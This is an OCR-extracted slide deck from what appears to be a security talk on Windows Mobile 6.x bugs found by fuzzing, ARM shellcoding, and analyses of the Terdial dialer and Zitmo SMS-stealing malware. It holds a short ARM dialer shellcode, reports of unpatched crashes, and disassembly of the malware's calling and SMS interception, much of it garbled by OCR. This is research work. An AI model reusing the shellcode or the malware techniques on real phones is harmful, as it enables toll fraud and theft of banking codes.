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Windows Mobile Operating System
Vulnerabilities and Shellcodes on Windows Mobile
Vulnerability hunting in windows mobile

A few example vulnerabilities(Oday) which effect windows mobile 6.x

Mobile Malwares
Analysis of Terdial and ZeuS Mobile Malwares

Demo




Windows Mobile System

Current version is Windows Phone 7 (just released)

6.5 and 6.1 versions are common Iin the windows
mobile market for “now”

We are looking at 6.5 and 6.1

32 Bit WinCE based

WInCE supports multi platforms (x86 , ARM)
Usually smartphones are ARM based devices.




Vulnerabilities on Windows Mobile

Most of softwares were developed in C++ (outlook ,
messenger etc.)

So known programming errors are valid !
- Buffer overflow , format string eftc.

There's no Microsoft's online/auto update support for

OEMs are responsible to update. (HTC, Samsung etc)
Windows Phone 7 has the online update future :]




ARM Processor

* RISC CPU for embedded devices

* Commonly used in the Smartphones/PDA ,
Embedded Devices

- %90 of all embedded devices

* Supported by lots of embedded operating systems
such as Symbian , Android , Windows CE etc.




ARM Assembly

Similar to X86 Assembly

MOV = MOV || BL(arm)=CALL(x86) || B(arm)=JMP(x86)
etc..

37 Register at the total
RO to R3: used to hold arguments
R4 to R10: used to hold local variables

PC Register — Program Counter (equivalent to EIP on
X86)

LR Register — Link Register , holds the return address
SP Register — Stack Pointer

MOV = Move data , LDR = Load data , BL = Call
subroutine/program etc.




How to write Shellcodes?

 \What is a shellcode?
* |In which kind of attacks can we use it?

* \What we need to write it?
- ARM Assembler

- Dumpbin
- ARM Assembly and DLL Loading knowledge




Phone Call/Dialer Shellcode

Do you remember 56k /dial-up connection days? The old days of
dialer attacks are back for mobile !!!!

&g Telefon @24
EXPORT start e Ry
AREA .text, CODE il
start T
Idr R12, =0x3f6272c LoadLibrary Bilinmiyor
adr rO, lib cellcore.dll

Aranor...

I
MoV pe, 112 SR

Idr r12, =0x2e806dc tapiRequestMakeCall
adr rO, num Number - 31337

mov r3, #0

mov r2, #0

mov r1, #0

mov Ir, pc

MoV pPcC, r12 Daha fazla =ecenek icin asag: kaydinn

Iib dCb nw,.n O " H’O’lllll 0’"|" O "Cll 0 " " O " " O " " O’O’O’O’O s
num dcb "3" O "1".0, "3" 0, "3" 0 "7" O 0 0 Tus Takimi Sonlandir
ALIGN
END Kisiler

Menii




Bug Hunting

* There is no difference
* Fuzzing is the best way !




Case 1 : Windows Mobile 6.x Double Free Vuln

Effected versions :\WWindows Mobile 6.5 and 6.1
It's still not patched! (Oday)

Occurs while parsing VCARD (vcf) files
Vulnerability type : “Double Free”

A common vulnerability in C/C++
Occurs when free() is called twice on the same pointer.

Can be triggered by bluetooth or mms




Case 1: Crash

.f} Uzgiiniiz...
poutlook.exe ile ilgili bir sorun olustu.

Litfen bu sorun hakkinda,
Microsoft'a hicbir masrafa
katlanmadan bilgi verin. Veriler yalnizca
arinleri gelistirrmek icin kullanimaktadir.

Rapar avrintilaring géster

Hata raporlamay kapat




Case 1:Analysis of Crash
(Binary Analysis)
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*#*% ITARNING: Unable to werify ti
%% FRREOR: Module load completed
Tnable to load image NE . EXE. Win
*#x% [ARNING: Unable to wverify t1
*#¥% ERFOR: Module load completed

I

™ Calls - Dump C;\Documents and Settings\Celil\Desktop\Ce031111-01.kdmy

Rawargs |Funcinfo |Source |Addrs |Headings [Monwolatile regs  Frame nums |Source args

Child-3F
Zd7efb44
Zd7eaflhd44
Ed7efbd4
ZdT7efbd4
ZdT7efbd4

BatAddr
027 1ladd
027 ladde
027 ledd
027 1ledd
027 1ledd

Call Sic=

aleautzz_z714000+0xa4£2 Jldress of last

leaut?Z 2714000+0nadde

auezz_z714000+oxadd= Called function

olegut? s Z714000+0naddx !x

iZ2d7eflh44

D27 leddo

oleautld? 2714000+0xadds

oleatnt2Z_Z714000+0madde

X /
C0271eddc




Case 1:Analysis of Crash

.text:uz ]

.text void stdcall~SysFreeString{BSTR)
.text: a2 a SPORT SysFreeString
.text:0271E4C 5

text:0271EACO

_text:8271E4CH SPY, {R4,LR}
_text:0271EACH RO, #o
_text:B271EACS loc_271E508
_text:B271EACC R3, =Bx1ECD1BS
_text:0271E4DD R4, R@, #8
_text:0271E4DA R@, [R3]
_text:0271E4DS sub_27391B8
_text:B271EADC RO, #O
_text:0271EAED loc_271E4Fh
_text:0271EAEA RO, R4
_text:B271E4ES sub_2739168
_text:0271E4EC SPY, {R4,LR}
_text:0271E4FD LR

; CODE XREF: sub 271AE68+1CTp
; sub 271AE6B+24Tp _ ..

SysFreeString., it may
be a Double Free??
Let's analyse more..




Case 1:Analysis of Crash

-text:82B73DED 5PY, {R4,LR}
-text:@2B73DEL R4, RSO
-text:@2B73DES R2, [R4,#BxC]
text:82BY3DEC R3, =off_2B66DBE
text:82B73DF0 R2, #8
text:@2B73DFL RA, [Ru,#8]
text:@2B73IDFE R3, [R4]
-text:82B73DFC sub_2BA6350

_text:02B73E00 RO, [RY,#8]
_text:02B73E04 sub_ZBASFE @
_text : 0?B73E 08 R, [Hu,unxw[”. DOUBLE

.text:02B73E6C sub_2BAS6F8 — SysFreeString FREE !!!!

_text:02B73E10 RB, [R4,#6x14] R4+0x14
_text:02B73E14 sub_2BAS6FS._ _
_text:02B73E18 RE, [R4,#8] SysFreeString
_text:02B73E1C sub_2BAS6F8

_text:02B73E20 R3, =—off 2B66D38

_text:02B73E24 R3, [R4]

maed s AANRTOACAO [ B Ml 1M

3)




Case 2 : Internet Explorer Mobile BoF Vulin

* Effected versions :Windows Mobile 6.5
* Oday and exploitable issue
* Discovered by Fuzzing

iexplore.exe ile ilgili bir sorun olustu.

Liitfen Microsoft'a bu sorunla ilgili
bilgi verin. Bu bilgi sadece Wi-Fi,
ActiveSync, Windows Mobile Cihaz
Merkezi baglantilaryla
gonderilecektir. Bu veriler sadece
drdnlerin gelistiriimesi icin kullznilmaktadr.

Rapor ayrintilarini géster

Hata raporlamasini kapat

Cevrimici Gizlilik Sartlar

Gonderme Gander



Case 2 : Internet Explorer Mobile BoF Vuln

ﬁEaEEc?bE aE?EbDE) tack buffer Dverfluw - code c000040% (11! =econd chance |11
Mnable to load image™h ] . error (n/

*®#% [[ARNING: TInable to verif? timestamp for browsui. dll
##% FRROR: Module load completed but symbols could not be loaded for browsui. dll

browsui_ ._ "7 . "af:
covaiue | DBDDaDel now rl, rf

rE gooonool  r9= 0194ED:D rlD goooniog rll 29%atael

r1d=29%ae724 sp= 299&5323 lr=0381f8a8 pc=0381f8a8 psr=60000010 -ZC—- ARM

e




Case 3 :Internet Explorer Mobile Stack Exhaustion

* Effected versions :Windows Mobile 6.5 and 6.1
* Discovered by Fuzzing again...

* There are lots of stack exhaustion(dos) bugs...

(these kind of bugs are not exploitable.)
;

File Edit ‘iew Tools
iexplore.exe ile igili bir sorun olustu.

H % E—I E" IE IE] @ '}')} Liitfen Microsoft'a bu sorunla ilgili

= |ul ard\fuzz\mob\doms5 v| X bilgi verin. Bu bilgi sadece Wi-Fi,
ActiveSync, Windows Mobile Cihaz
Merkezi baglantilarmyla
gonderilecektir. Bu veriler sadece
triinlerin gelistirimesi icin kullamimaktadir.

Rapor avrntilarni géster

‘ﬁ Hata raporlzmasin kapat

Cevrimici Gizliik Sarktlarn




Fuzzing Media Files

* Why Media Formats?

Supported media files can be attached to MMS! (3gp ,asf efc.)

That gives an opportunity to trigger the vulnerability via a
MMS!

* Easy to find crashes! Just use file fuzzers!
My a few line dumb file fuzzer found lots of crashes !

* Mobile media players can be hackers' new target!




Case 4 :Windows Media Player Mobile Null Pointer

Fuzzed an ASF file sample for a few minutes.
Hunted a crash!

Overwrited to Registers...

But it's actually unexploitable , null pointer bug...




Case 4 :Windows Media Player Mobile Null Pointer

Yiew  About

ag 0 oo oo a0 00 0d ao 0o oo

a0 oo oo a0 00 00 ao 0o 0o

[a] oo oo a0 00 0d ao 0o oo

an 21 07 de b7 b7 a% cf ge a6 00 e0

Z0 B2 &L 81 00 00 a0 00 00 af 19 ho 4

Sh cf ad fd 00 30 5f 5Sc 44 :2b 87 fh Z0 5§

Eh cof af fd 00 80 5f Lo 44 Zh a0 Q0o

a0 23 a0 a0 00 0z 00 ED 74 hE

4] 41 41 41 41 41 41 41 41 41 =8 28 00 uu ARAARRBARARG. (...
afl 78 00 ol 0o 18 dd B0 34 3Z e ... ....MP4F
an an g 0o Qo an 0o Qo




Case 4 :Windows Media Player Mobile Null Pointer

wmplayer.exe ile ilgii bir sorun olustu.

Liitfen Microsoft'a bu sorunla ilgili
bilgi verin. Bu bilgi sadece Wi-Fi,
ActiveSync, Windows Mobile Cihaz
Merkezi baglantilariyla
gonderilecektir. Bu veriler sadece
driinlerin gelistirimesi icin kullanirmaktadrr,

Rapor ayrintilarini gister

Hata raporizmasini kapat

Cevrimici Gizliik Sartlan

Ginderme Ginder

BUCKET_ID:
FAILURE BUCKET ID:

APPLICATION_FAULT INVALID POINTEE_READ
INVALID POINTERE_READ =0000005_ Unknown Image!Unloaded

#¥% Followvup info cannot be found !l Please contact "Debugger Tean"

r0=00000000 =z1=00000000 =rZ2=41414141

r6=41414141 =r7=41414141 =r8=00000002
r12=03f6b8bE =p=:Zb7efabl lr=0246f4c0
wncore 23eb00040xRadcd .
0246fdcd 00009425 ldr

ril, [rd]

r3=024453a8 rd=00000000 r5=01aldtel
r3=00000000 r10=04202401 r11=0420Z2400
pc=0Z246f4cd psr=60000010 -ZC-- ARM




Case 5 :Fuzzing 3GP Video Files

* Fuzzed just for a few minutes again
* Found lots of crashes..
* One of them causes freeze the phone.

(will be shown in Demo part)




Mobile Malwares

* Why ?
- Money
- Hobby

- Spying

* Results?

- A high bill $$$

- An empty bank account
- Information leak




Terdial Malware

* A dialer trojan which is embedded inside a game.
(3D Anti Terrorist)

* It makes expensive call regularly.
- +8823460777 , +88213213214 , +2392283261

* Causes very high bills !!!




Analysis of Terdial

Malware creates a subkey which is named
“Status” in current registry.

LUSFLU LLd5y |WSLUPLLU JALEFUSUTL.WLNGZ REYLSLPYREY | WSLUPLLU [MLLFUSUTL.WLIGL REYLSLEY . CLUFTEILUSER
1dstr "Alpha"

callvirt class [mscorlib]Microsoft.Uind2.Reqistrykey [nscorlib]Microsoft.Wind2.RegistryKey: :CreateSubKe
stloc.f

1d1oc.

ldstr "Status"

callvirt class System.Object [mscorlib]Microsoft.Win32.RegistryKey: :GetUalue(class System.String)

brtrue loc 129
1d1nr_A




Analysis of Terdial

It copies itself (smart32.exe) to windows
directory.

CALLVIFT €1355 |MSCOFLLD |SYSTEN.HerLECTION . HSSEMDLYNANE | SCOFLLD [SYSTEN. KetLeCTION . HSSERDLY: :6eTNane )
callvirt class Systen.String [mscorlib]System.Reflection.AssenblyNane: :qet CodeBase()

stloc.s 8

ldloc.s 8

Ldstr "\\Windows\\smart3?.exe"

tall uuld Smartﬂeu1cePrUJEct1.Prngram::ﬂupyFile(class Systen.String sourcefn, class System.String destinfn)
Ldstr "\\Uindous\\snart3z .exe"

ldloc.s 7

call int3? SmartbeviceProjectd.Progran::CeRunAppAtTine(class Systen.String application, class SystenTime startTine)
pop

ret




Analysis of Terdial

It calls these international numbers in several
time.

IIEWUUJ YuLu I_I'IJ.I..-I UIUI L. WLIHUUWIINIUULLIT . IEJ.EIJIIUIIHJI'IJ.L-I UIUI L. WLIHUUWINIUUPLLIT . IEJ.I:I.IIIUII_l?l al NIUNT 2 2 s b}

stloc.s BzB

ldloc.s BzB

ldstr "+BB23460777"

callvirt void [Microsoft.WindowsHobile.Telephony]Hicrosoft.WindowsHobile.Telephony.Phone::]
1dc.ik BxC356

call void [mscorlib]System.Threading.Thread::Sleep{int32)

ldloc.s BzB

ldstr "+17675033611"

callvirt void [Microsoft.WindowsHobile.Telephony]Hicrosoft.WindowsHobile.Telephony.Phone::]
1dc.ik BxC35@

call void [mscorlib]System.Threading.Thread::Sleep{int32)

1dloc.s BzB

ldstr "+88213213214"

callvirt void [Microsoft.Windowshobile.Telephony]Hicrosoft.WindowsHobile.Telephony.Phone::
1dc.id BxC35@

call void [mscorlib]System.Threading.Thread::Sleep{int32)

1dloc.s BxB

ldstr “+25248221681"




Zitmo (Zeus in the mobile) Malware

Mobile version of ZeuS Trojan

It's aimed to defeating SMS-Based authentication of Online
Banking !!

Hackers stole more than $200 Million via ZeuS
Coded for Symbian OS and BlackBerry




Analysis of Zitmo

C&C Future! It gets remote commands via SMS.

Creates a database that named Numbersdb.db and save the
stole informations (incoming sms etc.) into it.

Creates database , tables via RdbNamed , TdbCol etc.

It uses Symbian APlIs to sniff incoming SMS without notifying
the user.

Basically , It opens a SMS socket , hooks the SMS stack and
sniffs the incoming SMS.




Analysis of Zitmo

Command List of Zitmo

aln

A0FF
aBlockin

daBlockOFF
aSetAdmin_ 9
afpddiendey
afddSenderfall
asc_2BACE
dword_2BACC
aRemiender

aRemSenderAall

asetiendey

unicode
DCW @
unicode
unicode
DCW @
unicode
unicode
unicode
DCW @
unicode
DCW @
unicode
DCD @
unicode
DCW @
unicode
DCW B

unicode
MLl &

<0H>,8 DATA

<OFF>,8 DATA
<BLOCH 0OH>,8 DATA

<BLOCK OFF>.8 DAT
<5ET ADHMIN>.B DAT
<ADD SENDER>.8 ; DA
<ADD SEHDER ALL>,A
<,»,0 DpATA

: DATA
<REM 5EHDER>.8 ; DA
<REM SEHDER ALL>,A

<5ET SEHDER>.8 :; DA




Analysis of Zitmo

Intercepting SMS Silently.

R3, #2

_ZN7RSocket4OpenER11RSocketServjjj ; RSocket::Open{RSocketfServ &,uint,uint,uint)
R8, [R11,fvar 28]

R3, [R11,#var 28]

R3, #0

loc_11AF8

R8, R11, #-var 54

_ZNBTSmsAddrCAEv ; TimsAddr::TSmsAddr{void)

R8, R11, #-var 54

R1, #4

_ZH8TSmsAddr16SetSmsAddrFamilyE14TSmsAaddrFamily ; TEmsAdde::SetSmsAddrFamily(TSmsAddrFamily)
Rd, R11, #-var_ 54

R3, R11, #-var 24

R1, R3

_ZHBTSmsAddri123etTextHatchERKGTDesSCE ; TSmsAddr::SetTextMatch(TDesCE consti)
R3, [R11,#var 18]

RB8, R3, H#Ox28

R3, R11, #-var_ 54

R1, R3




Analysis of Zitmo

SQL Commands...
53 08 45 B0 4C 00 45 68
20 B0 46 00 52 OO 4F 60 4D 068 20 60 BO B0 60 AA
Z0 B0 57 B0 48 00 45 BB 52 B0 4% 80 20 08 A0 A0
20 60 3D 00 20 OO 00 A0 20 60 4C AO 4D BB 4B RO
45 80 20 B0 AQ A0 00 A8
B0 60 00 B0 53 00 45 00 4C 00 45 B0 43 86 54 60
20 00 B0 B9 20 00 4 88 52 B0 4F 60 4D 6@ 20 A0

n . n ' m m n n . L LY a n




* Freezing the Windows Mobile with an MMS (0-day)

User interaction is required :(




Conclusion

Smartphones are the new target of Hackers!
Exploits and malwares for smartphones are already published!

Mobile Media Player vulnerabilities are important. Also Flash Lite/Mobile ,
Adobe Reader Mobile and Mobile Browsers are delicious targets too!
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Collin Mulliner's great research! - www.mulliner.org
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http.//www.securityarchitect.org/mobile.pdf (Terdial analysis)
Thanks to suspectfile.com for malware samples
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Thanks for your attention.

info[at]signalsec.com
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